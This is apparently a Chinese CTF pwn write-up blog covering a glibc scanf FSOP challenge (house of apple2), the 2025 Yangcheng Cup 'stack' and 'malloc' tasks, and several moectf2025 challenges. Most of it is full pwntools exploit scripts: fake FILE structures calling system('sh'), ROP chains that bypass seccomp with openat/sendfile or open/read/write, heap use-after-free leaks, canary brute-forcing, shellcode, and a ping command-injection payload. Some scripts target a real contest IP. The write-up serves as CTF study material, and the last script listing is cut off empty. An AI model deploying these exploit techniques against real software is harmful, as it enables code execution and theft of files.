#include <stdio.h>

void main() {
 setbuf(stdin, NULL);
 setbuf(stdout, NULL);
 puts("stdout:");
 scanf("%224s", (char*)stdout);
 puts("stderr:");
 scanf("%224s", (char*)stderr);
}

GLIBC版本为2.39，scanf直接向stdout和stderr中写入数据，可以打house of cat或house of apple2

house of apple2的打法
因为有两次输入，所以先覆写低字节leak出libc地址stdout._IO_write_basestdout
这题需要进行特殊处理，因为scanf遇到空格会停止，所以设置_flags为aa;sh\x00 并且这题覆盖不到vtable指针（0xe0>224)，因此只能打的时候将_wide_data写为fakefile-0x10

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101


import argparse
import sys
from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument('mode', type=int, choices=[
 0, 1, 2], nargs='?', default=0, help='0=local,1=local+gdb,2=remote')
args = parser.parse_args()

filename = "./pwn"
libc_name = "./libc.so.6"
arch = 'amd64'
remote_addr = ""
remote_port = ""


context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
 context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
 return log.info(f"\x1b[{code}m{x}\x1b[0m")


def CLEAR_TEXT(x, code=32):
 return log.success(f"\x1b[{code}m{x}\x1b[0m")


io = None
if args.mode == 0:
 io = process(filename)
 print(CLEAR_TEXT("[*] Running on local machine"))
elif args.mode == 1:
 io = process(filename)
 gdb.attach(io, gdbscript='''
 b *main
 b *main+93
 ''')
elif args.mode == 2:
 io = remote(remote_addr, remote_port)
else:
 sys.exit(1)
elf = ELF(filename)
libc = ELF(libc_name)

se = io.send
sl = io.sendline
sa = io.sendafter
sla = io.sendlineafter
slt = io.sendlinethen
st = io.sendthen
rc = io.recv
rr = io.recvregex # 接收直到匹配正则表达式 rr(b"flag\{.*\}")
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
ia = io.interactive
rls = io.recvline_startswith
rle = io.recvline_endswith
rlc = io.recvline_contains


def uu64(data):
 return u64(data.ljust(8, b"\x00"))


def get_64():
 return u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))


ru(b"stdout:\n")
pause()
payload=flat(
 0xfabad1887,
 0,0,0,
 b"\x48"
)

sl(payload)
leak=ru(b"stder")[-72:]
libc_addr=u64(leak[:8])-0x204644
VIO_TEXT(f"libc_addr: {hex(libc_addr)}")

stderr_addr=libc_addr+libc.symbols['_IO_2_1_stderr_']
VIO_TEXT(f"stderr_addr: {hex(stderr_addr)}")

fake_file=flat(
 p64(0x3b68733b40404040), # b"aa;sh\x00"
 0,0,0,0,
 1,
 0,0,0,0,0,0,0,
 libc_addr+libc.symbols['system'],
 0,0,0,
 stderr_addr-0x10,0,
 stderr_addr,stderr_addr-0x48,
 0,0,0,0,0,0,
 libc_addr+libc.symbols["_IO_wfile_jumps"],
)
se(fake_file)
ia()

house of cat打法的就先不贴了

2025羊城杯-stack & malloc

Tue, 14 Oct 2025 00:30:00 +0000

stack

保护和沙箱

保护，程序运行在2.35-0ubuntu3.11

沙箱

禁用了execve execveat open close等

解题

剥去了符号

main函数中有两个函数

第一部分设置了沙箱。这个前置函数设置了随机数，3或者4, 然后计算magic_number的地址并根据得到的possible_main来取出对应main

和设置好真正的buf到分配的堆空间区域

发现禁用了open execve和execveat，read规则检测只能从stdin(0)获取，检查一个参数的高32位和低32位都是0否则就会直接kill, 因此要注意控制

以及一个读入的函数

将0x55...8028置了0，后面我们再去调read看看

通过实际缓冲区找到rbp，进行覆盖

先用这个函数去拿到地址来获取elf基地址

我们想要通过调用puts函数来拿到一个libc中的地址用于泄漏，随后尝试打openat read write或者openat read sendfile

但是程序提供的函数不支持我们正常完成libc相关函数的地址泄漏，而在调试的时候可以发现在第一个函数中可以通过rand函数去设置参数，我们便可以用puts来泄漏了

而一开始由于远程无法打通，所以尝试ogw，结果发现远程还是不能通，后来想到patchelf可能会影响程序的加载空间（拉高地址）所以改小了写入/flag的地址才通过

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148


import argparse
from operator import pos
import sys
from elftools.construct import lib
from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument('mode', type=int, choices=[
 0, 1, 2], nargs='?', default=0, help='0=local,1=local+gdb,2=remote')
args = parser.parse_args()

filename = "./pwn"
libc_name = "./libc.so.6"
arch = 'amd64'
remote_addr = "45.40.247.139"
remote_port = "23356"


context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
 context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=32):
 return f"\x1b[{code}m{x}\x1b[0m"


io = None
if args.mode == 0:
 io = process(filename)
 print(CLEAR_TEXT("[*] Running on local machine"))
elif args.mode == 1:
 io = process(filename)
 gdb.attach(io, gdbscript='''
 b *read
 c
 c
 ''')
elif args.mode == 2:
 io = remote(remote_addr, remote_port)
else:
 sys.exit(1)
elf = ELF(filename)
libc = ELF(libc_name)

se = io.send
sl = io.sendline
sa = io.sendafter
sla = io.sendlineafter
slt = io.sendlinethen
st = io.sendthen
rc = io.recv
rr = io.recvregex # 接收直到匹配正则表达式 rr(b"flag\{.*\}")
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
ia = io.interactive
rls = io.recvline_startswith
rle = io.recvline_endswith
rlc = io.recvline_contains


def uu64(data):
 return u64(data.ljust(8, b"\x00"))


def get_64():
 return u64(io.recv(0x6).ljust(0x8, b"\x00"))


# pause()
# ru(b"Good luck!\n")
sa(b"Good luck!\n", b'\x01'*0x108+p8(0x5f)) # magic


magic_line = ru(b":",)
magic_number = int(rl(keepends=False), 10)
log.info(VIO_TEXT(f"magic_number is {hex(magic_number)}"))

possible_main1 = magic_number // 3
possible_main2 = magic_number // 4

if possible_main1 < 0x600000000000 and possible_main1 > 0x500000000000:
 main = possible_main1
else:
 main = possible_main2

log.info(VIO_TEXT(f"possible main:{hex(possible_main1)}"))
log.info(VIO_TEXT(f"possible main:{hex(possible_main2)}"))

cover_main = main & 0xffff

elf_base = int(main)-0x16b0
log.info(VIO_TEXT(f"two bytes of main:{hex(cover_main)}"))

ret_stdout = elf_base+0x12c9
syscall = elf_base+0x134f
read_addr = elf_base+0x161f
rand_addr = elf_base+elf.sym['rand']
puts_addr = elf_base+elf.sym['puts']

log.info(VIO_TEXT(f"elf_base:{hex(elf_base)}"))
log.info(VIO_TEXT(f"syscall:{hex(syscall)}"))

sa(b"Good luck!\n", b'\x01'*0x108 + p64(rand_addr) + p64(puts_addr) + p64(read_addr))


libc_addr = (get_64()-0x21a200) & ~ 0xff
print(hex(libc_addr))

real_syscall = libc_addr+0x91316
rax = libc_addr+libc.search(asm("pop rax;ret")).__next__()
rdi = libc_addr+libc.search(asm("pop rdi;ret")).__next__()
rsi = libc_addr+libc.search(asm("pop rsi;ret")).__next__()
rcx = libc_addr+libc.search(asm("pop rcx;ret")).__next__()
rdx_rbx = libc_addr+0x904a9
readable_addr = elf_base+0x4800
log.info(VIO_TEXT(f"syscall:{hex(real_syscall)}"))
log.info(VIO_TEXT(f"readable_addr:{hex(readable_addr)}"))

payload = flat(
 b'a'*0x110,
 rax, 0, rdi, 0, rsi, readable_addr, rdx_rbx, 0x8, 0, syscall, 0, # read
 rax, 0x101, rdi, 0xffffff9c, rsi, readable_addr, rdx_rbx, 0, 0, rcx, 0, syscall, 0, # openat
 rax, 0x28, rdi, 1, rsi, 3, rdx_rbx, 0, 0, rcx, 0x100, libc_addr + # sendfile
 libc.sym['sendfile'],
)

# ogw 尝试读取目录
# payload = flat(
# b'a'*0x110,
# rax, 0, rdi, 0, rsi, readable_addr, rdx_rbx, 0x30, 0, syscall, 0,
# rax, 0x101, rdi, 0xffffff9c, rsi, readable_addr, rdx_rbx, 0, 0, rcx, 0, syscall, 0,
# rax, 217, rdi, 0x3, rsi, readable_addr, rdx_rbx, 0x100, 0, syscall, 0, # getdents64
# rax, 1, rdi, 1, rsi, readable_addr, rdx_rbx, 0x100, 0, syscall, 0
# )

sa(b"Good luck!\n", payload)


sleep(1)
se(b"/flag")

ia()

malloc

沙箱保护

沙箱禁的execve execveat

解题

增删改查,glibc2.35与上题环境一致

freelist的检查，会读取chunk size，更新freelist，并检测是否double free

但是只检查了前14个节点，可能可以对后面的double free?

有一个修改的malloc

会从Free list和top chunk分配，当然我们不想要用top chunk，所以看到free list的

1
2
3
4
5
6


if ( qword_4040[v2 / 16] ) { // 对应size的freelist不为空
 v5 = qword_4040[v4]; // 获取freelist第一个chunk
 qword_4040[v4] = *(_QWORD *)(v5 + 16); // 更新freelist
 *(_BYTE *)v5 = 1; // 标记chunk为已使用
 return v5 + 16; // 返回用户数据区地址
}

我们构造合适的chunk可以触发到uaf

uaf hook泄漏libc后打出environ来泄漏栈地址，在合适的地方写入flag后orw即可

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145


import argparse
from inspect import ClassFoundException
import sys
from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument('mode', type=int, choices=[
 0, 1, 2], nargs='?', default=0, help='0=local,1=local+gdb,2=remote')
args = parser.parse_args()

filename = "./pwn"
libc_name = "./libc.so.6"
arch = 'amd64'
remote_addr = "45.40.247.139"
remote_port = "27416"


context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
 context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=32):
 return f"\x1b[{code}m{x}\x1b[0m"


io = None
if args.mode == 0:
 io = process(filename)
 print(CLEAR_TEXT("[*] Running on local machine"))
elif args.mode == 1:
 io = process(filename)
 gdb.attach(io, gdbscript='''
 ''')
elif args.mode == 2:
 io = remote(remote_addr, remote_port)
else:
 sys.exit(1)
elf = ELF(filename)
libc = ELF(libc_name)

se = io.send
sl = io.sendline
sa = io.sendafter
sla = io.sendlineafter
slt = io.sendlinethen
st = io.sendthen
rc = io.recv
rr = io.recvregex # 接收直到匹配正则表达式 rr(b"flag\{.*\}")
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
ia = io.interactive
rls = io.recvline_startswith
rle = io.recvline_endswith
rlc = io.recvline_contains


def uu64(data):
 return u64(data.ljust(8, b"\x00"))


def create(idx, size):
 sla(b"5:exit\n", b"1")
 sla(b"Index", str(idx).encode())
 sla(b"size", str(size).encode())


def free(idx):
 sla(b"5:exit\n", b"2")
 sla(b"Index", str(idx).encode())


def edit(idx, size, content):
 sla(b"5:exit\n", b"3")
 sla(b"Index", str(idx).encode())
 sla(b"size", str(size).encode())
 se(content)


def show(idx):
 sla(b"5:exit\n", b"4")
 sla(b"Index", str(idx).encode())


# 准备堆块UAF
create(0, 0x10)
create(1, 0x70)
create(2, 0x70)
create(0x10, 0x10) # 隔top chunk

# 双向链表UAF
free(2)
free(1)

# libc leak
show(1)
elf_leak = ru(b"\nSuccess\n", drop=True)[-6:].ljust(8, b'\x00')
elf.address = u64(elf_leak)-0x52a0
log.success(CLEAR_TEXT(f"elf_address:{hex(elf.address)}"))

payload = p64(0)*3+p64(0x80)+p64(elf.address+0x5200+0x1010)
edit(0, len(payload), payload)

# 重新分配
create(3, 0x70)
create(3, 0x70)

edit(3, 8, p64(elf.got["puts"]))
show(4)
libc_leak = ru(b"\nSuccess\n", drop=True)[-6:].ljust(8, b'\x00')
libc.address = u64(libc_leak) - libc.sym["puts"]

edit(3, 8, p64(libc.sym["environ"])) # environ leak stack
show(4)
stack_leak = ru(b"\x7f")[-6:].ljust(8, b"\x00")
edit_stack = u64(stack_leak) - 0x140
log.success(CLEAR_TEXT(f"libc base address: {hex(libc.address)}"))
log.success(CLEAR_TEXT(f"stack edit address: {hex(edit_stack)}"))

# 写入flag路径和ROP链
create(4, 0x70) # 4号堆块用于存储数据
# 修改目标区域存储flag
edit(3, 8, p64(elf.address + 0x62a0))
edit(4, 0x8, p64(0x100)) # 设置大小
edit(3, 0x10, p64(edit_stack) + b"/flag\x00\x00\x00")

pop_rdi = libc.address + 0x2a3e5
pop_rsi = libc.address + 0x2be51
pop_rdx_rbx = libc.address + 0x904a9
flag_addr = elf.address+0x6228
orw_payload = flat(
 pop_rdi, flag_addr, pop_rsi, 0, libc.sym['open'],
 pop_rdi, 3, pop_rsi, elf.address+0x40c0 +
 0x500, pop_rdx_rbx, 0x50, 0, libc.sym['read'],
 pop_rdi, 1, libc.sym['write']
)

edit(4, len(orw_payload), orw_payload)

ia()

‍

moectf2025-pwn_re

Fri, 10 Oct 2025 10:45:00 +0000

pwn

0

连接远程就行

1

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29


from pwn import * # 导入 pwntools。


context(
 arch="amd64",
 os="linux",
) # 一些基本的配置。


def CLEAR_TEXT(x, code=32):
 return f"\x1b[{code}m{x}\x1b[0m"


# 有时我们需要在本地调试运行程序，需要配置 context.terminal。详见入门指北。

# io = process("./pwn") # 在本地运行程序。
# gdb.attach(io) # 启动 GDB
io = remote("localhost", 38631) # 与在线环境交互。

io.recvuntil(b"hint.")
num = io.recv(8)
log.info(CLEAR_TEXT(f"num={num}")) # 接收提示信息。
num = u64(num.ljust(8, b"\x00")) # 将接收到的字符串转换为整数。

log.success(CLEAR_TEXT(f"num={num:#x}"))

io.sendline(str(num).encode()) # 发送整数。

io.interactive() # 手动接收 flag。

2 text

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


from pwn import * # 导入 pwntools。

context(arch="amd64", os="linux", log_level="debug") # 一些基本的配置。


def CLEAR_TEXT(x, code=32):
 return f"\x1b[{code}m{x}\x1b[0m"

# 有时我们需要在本地调试运行程序，需要配置 context.terminal。详见入门指北。


io = process("./pwn") # 在本地运行程序。
gdb.attach(io) # 启动 GDB
# io = remote("localhost", 39857) # 与在线环境交互。

io.recvuntil(b"stack?\n")
io.sendline(b"24")
io.send(b"A" * 16 + p64(0x4011BB))

io.interactive() # 手动接收 flag。

2 shellcode

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42


from pwn import *

filename = "./pwn"
# libc = "./libc.so.6"
arch = 'amd64'

context(log_level="debug", os="linux", arch=arch)
context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=32):
 return f"\x1b[{code}m{x}\x1b[0m"


# io = process(filename)
# libc = ELF(libc)
elf = ELF(filename)
io = remote("localhost", 45523)
# gdb.attach(
# io,gdbscript='''
# ''')


def se(data):
 return io.send(data)

def sla(delim, data):
 return io.sendlineafter(delim, data)



sla('!', '4')
shellcode = asm(shellcraft.sh())
se(shellcode)

io.interactive()

# 这题就是很简单的可打shellcode,可以手动也可以直接用pwntools自带的

3 认识libc

不知道丢哪去了，反正ret2libc

boom-boom_revenge

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39


```c
int __fastcall main(int argc, const char **argv, const char **envp)
{
 char s[124]; // [rsp+0h] [rbp-90h] BYREF
 int v5; // [rsp+7Ch] [rbp-14h]
 int v6; // [rsp+8Ch] [rbp-4h]

 init(argc, argv, envp);
 puts("Welcome to Secret Message Book!");
 puts("Do you want to brute-force this system? (y/n)");
 fgets(&brute_choice, 8, stdin);
 v6 = 0;
 if ( brute_choice == 'y' || brute_choice == 89 )
 {
 v6 = 1;
 canary = (int)random() % 114514;
 v5 = canary;
 puts("waiting...");
 sleep(1u);
 puts("boom!");
 puts("Brute-force mode enabled! Security on.");
 }
 else
 {
 puts("Normal mode. No overflow allowed.");
 }
 printf("Enter your message: ");
 if ( v6 )
 gets(s);
 else
 fgets(s, 128, stdin);
 if ( v6 && v5 != canary )
 {
 puts("Security check failed!");
 exit(1);
 }
 puts("Message received.");
 return 0;
}

伪随机种子生成canary,调用libc库生成种子爆破，估计revenge是因为原本的非预期

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66


from ctypes import CDLL, cdll
import time
from pwn import *

context(log_level="debug")
context.terminal = ["tmux", "splitw", "-h"]


libc = cdll.LoadLibrary('libc.so.6')


def CLEAR_TEXT(x, code=32):
 return f"\x1b[{code}m{x}\x1b[0m"


def WARN_TEXT(x, code=33):
 return f"\x1b[{code}m{x}\x1b[0m"


now = int(time.time())

canaries = []
for i in [now, now-1, now+1]:
 libc.srandom(i)
 val = libc.random() % 114514
 print(f"[+] seed = {i} -> canary= {val}")
 canaries.append(val)


io = remote("localhost", 43477)
# io = process("./pwn")
# gdb.attach(io, gdbscript='''
# b *0x40136c
# b *(main+287)
# ''')

se = io.send
sl = io.sendline
sa = io.sendafter
sla = io.sendlineafter
slt = io.sendlinethen
st = io.sendthen
rc = io.recv
rr = io.recvregex
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
ia = io.interactive

ru(b"Do you want to brute-force this system? (y/n)\n")
sl(b'y')

ru(b'Enter your message: ')

buf = b'b'*124

for canary in canaries:
 payload = buf
 payload = (payload+p32(canary)).ljust(0x90, b'\x00')+p64(0)
 payload += p64(0x40127b)

 sl(payload)
 try:
 ia()
 except:
 print(WARN_TEXT(f"[-] Canary {canary} failed,next one"))

fmt

没什么好说的，经典格式化字符串，读一写一

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89


from pwn import *
from struct import pack

filename = "./pwn"
libc = "./patch/libc.so.6"


context(log_level="debug", os="linux", arch="i386")
context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x):
 return f"\x1b[95m{x}\x1b[0m"


# io = gdb.debug(
# "./pwn",gdbscript=""""
# """)
io = process(filename)
# gdb.attach(
# io,
# gdbscript='''b *puts'''
# )
libc = ELF(libc)
elf = ELF(filename)
# io = remote("localhost", 40167)


def se(data):
 return io.send(data)


def sa(delim, data):
 return io.sendafter(delim, data)


def sl(data):
 return io.sendline(data)


def sla(delim, data):
 return io.sendlineafter(delim, data)


def rc(num):
 return io.recv(num)


def rl():
 return io.recvline()


def ru(delims):
 return io.recvuntil(delims)


def ia():
 return io.interactive()


def fine():
 return io.interactive()


payload = b"%7$s%10$p"
# payload = b"%10$p"
sla(b"name?\n", payload)
# s2 = int(io.recvuntil(b"I buried", drop=True).split(b",")[-1], 16)
# log.success(VIO_TEXT(f"first number: {hex(s2)}"))
ru(b"you,")

s = io.recv()
s1 = s[:5].decode()
log.success(VIO_TEXT(f"first number: {s1}"))

s2 = s[s.find(b"0x"):].split()[0] # 切分

s2 = int(s2, 16)
s2 = pack("<Q", s2).rstrip(b"\x00").decode(errors="ignore") # 小端序解析
log.success(VIO_TEXT(f"second number: {s2}"))

sl(s2)
io.recv()

sl(s1)

fine()

# moectf{THe-b3G1nNlng_OF_f0rm@T5cc02f05c}

inject

伪造了一个服务器，可以用指令拼接绕过进行RCE，由于没有过滤\n所以先给一个地址x再给指令，使用\n拼接

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19


from pwn import *

remote_addr = "localhost"
remote_port = "40757"

io = remote(remote_addr, remote_port)

sla = io.sendlineafter


def ping_host():
 sla(b"Your choice: ", "4")


ping_host()
payload = b"x\ncat flag\n"
sla(b"Enter host to ping: ", payload)

io.interactive()

randomlock

跟boom类似，爆破种子

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87


from pwn import *
import ctypes

filename = "./pwn"
# libc = "./libc.so.6"
libc = ctypes.CDLL("libc.so.6")

context(log_level="debug", os="linux", arch="i386")
context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=32):
 return f"\x1b[{code}m{x}\x1b[0m"


# io = gdb.debug(
# "./pwn",gdbscript='''
# ''')
io = process(filename)
# libc = ELF(libc)
elf = ELF(filename)
# io = remote("", )


def se(data):
 return io.send(data)


def sa(delim, data):
 return io.sendafter(delim, data)


def sl(data):
 return io.sendline(data)


def sla(delim, data):
 return io.sendlineafter(delim, data)


def rc(num):
 return io.recv(num)


def rl():
 return io.recvline()


def ru(delims):
 return io.recvuntil(delims)



possible_seeds = [s for s in range(1, 101, 2)]


def test_seed(seed):
 libc.srand(seed)
 return [libc.rand() % 10000 for _ in range(10)]


def try_once():
 for seed in possible_seeds:
 random_sequence = test_seed(seed)
 ru(b"me?\n")

 flag = True
 for num in random_sequence:
 sl(str(num).encode())
 reveal = ru(b">")
 if b"lose" in reveal.lower():
 flag = False
 break
 if flag:
 log.success(CLEAR_TEXT(f"Found seed: {
 seed},sequence:{random_sequence}"))
 io.interactive()
 else:
 io.clode()


try_once()
# moectf{SUch-a_FAKE_cHA0t1C-3vIIaa0ae332}

str_check

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23


int __fastcall main(int argc, const char **argv, const char **envp)
{
 char dest[24]; // [rsp+0h] [rbp-20h] BYREF
 size_t n; // [rsp+18h] [rbp-8h] BYREF

 init(argc, argv, envp);
 puts("What can u say?");
 __isoc99_scanf("%255s", str);
 puts("So,what size is it?");
 __isoc99_scanf("%zu", &n);
 len = strlen(str);
 if ( (unsigned __int64)len > 0x18 )
 {
 puts("Oh,too much.");
 exit(1);
 }
 if ( !strncmp(str, "meow", 4uLL) )
 memcpy(dest, str, n);
 else
 strncpy(dest, str, n);
 puts("You're right.");
 return 0;
}

这里对len判断到\0结束计数，提前导入\0strlen就不会判断进去，而strncmp判断前四个字节为meow才会进行比较，使用memcpy拷贝（高版本早就不这么写了不过）

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62


from pwn import *

filename = "./pwn"
# libc = "./libc.so.6"


context(log_level="debug", os="linux", arch="amd64")
context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=31):
 return f"\x1b[{code}m{x}\x1b[0m"


io = process(filename)
# # libc = ELF(libc)
# gdb.attach(io, gdbscript='''
# b *0x4013A2
# ''')
elf = ELF(filename)
# io = remote("localhost", 46233)


def se(data):
 return io.send(data)


def sa(delim, data):
 return io.sendafter(delim, data)


def sl(data):
 return io.sendline(data)


def sla(delim, data):
 return io.sendlineafter(delim, data)


def ia():
 return io.interactive()


backdoor = 0x40123E

payload = b'meow\x00'
payload += b'a'*(24-len(payload))
payload += b'B'*8
payload += p64(0x40101a) # ret对齐栈
payload += p64(backdoor)

sla(b"u say?", payload)

sla(b"size is it?", b"48")

ia()

# moectf{maybe_THls_IS-c-5trlNG34c189c4}

syslock

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


int __fastcall main(int argc, const char **argv, const char **envp)
{
 init(argc, argv, envp);
 write(1, "My lock looks strange—can you help me?\n", 0x29uLL);
 write(1, "choose mode\n", 0xCuLL);
 i = input();
 if ( i > 4 )
 lose();
 write(1, "Input your password\n", 0x14uLL);
 read(0, (char *)&s + i, 0xCuLL);
 if ( i != 59 )
 lose();
 cheat();
 return 0;
}

cheat():

1
2
3
4
5
6
7


ssize_t cheat()
{
 _BYTE buf[64]; // [rsp+0h] [rbp-40h] BYREF

 write(1, "Developer Mode.\n", 0x10uLL);
 return read(0, buf, 0x100uLL);
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


.text:000000000040123C ; void gadget()
.text:000000000040123C public gadget
.text:000000000040123C gadget proc near：
.text:000000000040123C ; __unwind {
.text:000000000040123C endbr64
.text:0000000000401240 pop rdi
.text:0000000000401241 pop rsi
.text:0000000000401242 pop rdx
.text:0000000000401243 retn
.text:0000000000401243 gadget endp ; sp-analysis failed

s和i都在bss段上，仅相差0x20个字节，一开始要让i小于0进行绕过lose分支，而下一次我们就要让i=59才能，因此在read中直接独到&i的位置，即s-32->i,然后写成59
cheat分支中我们可以绕过read()进行rop

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89


from pwn import *

filename = "./pwn"
libc = "./libc.so.6"
arch = 'amd64'

context(log_level="debug", os="linux", arch=arch)
context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=31):
 return f"\x1b[{code}m{x}\x1b[0m"


io = process(filename)
# gdb.attach(io, gdbscript='''
# b *40127f
# ''')
# libc = ELF(libc)
elf = ELF(filename)
# io = remote("localhost", 39153)


def se(data):
 return io.send(data)


def sa(delim, data):
 return io.sendafter(delim, data)


def sl(data):
 return io.sendline(data)


def sla(delim, data):
 return io.sendlineafter(delim, data)


def rc(num):
 return io.recv(num)


def rl():
 return io.recvline()


def ru(delims):
 return io.recvuntil(delims)


def ia():
 return io.interactive()


sla(b"choose mode\n", b"-32")


addr_s = 0x4040A0
payload = p32(59)
io.recv()
se(payload.ljust(0xC, b"a"))

pop_rax_ret = 0x401244
syscall_addr = 0x401230
pop_rdi_rsi_rdx_ret = 0x401240
read_plt = elf.plt['read']

payload2 = flat(
 b'A' * (64+8),
 # 调用 read(0, addr_s, 8)来写入"/bin/sh\x00"
 pop_rdi_rsi_rdx_ret, 0, addr_s, 8,
 read_plt,

 pop_rdi_rsi_rdx_ret, addr_s, 0, 0,
 pop_rax_ret, 0x3b,
 syscall_addr
)
io.recv()
se(payload2)
se(b'/bin/sh\x00')

ia()

# moectf{DONT_3nc@PSUL@tE-mY_5Ysc@I132fcf89}

xdulaker

这题出题人一开始没给环境导致一堆人没patch直接远程打不通
首先要patchelf

1
2
3
4
5


gdb.attach(
 io, gdbscript='''
 b *laker
 b *photo
 ''')

如果没有patchelf,在高版本的解释器中会对残留数据进行截断，那么我们输入的xdulaker始终无法通过检测
然后通过opt的地址可以泄漏pie_base

因为栈在空间计算可以得到photo和laker的两个栈相差是可以5字节对齐的，所以我们直接尝试xdulaker*(x)就可以通过检测,最后跳过backdoor压栈(+1)然后ret2text即可

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96


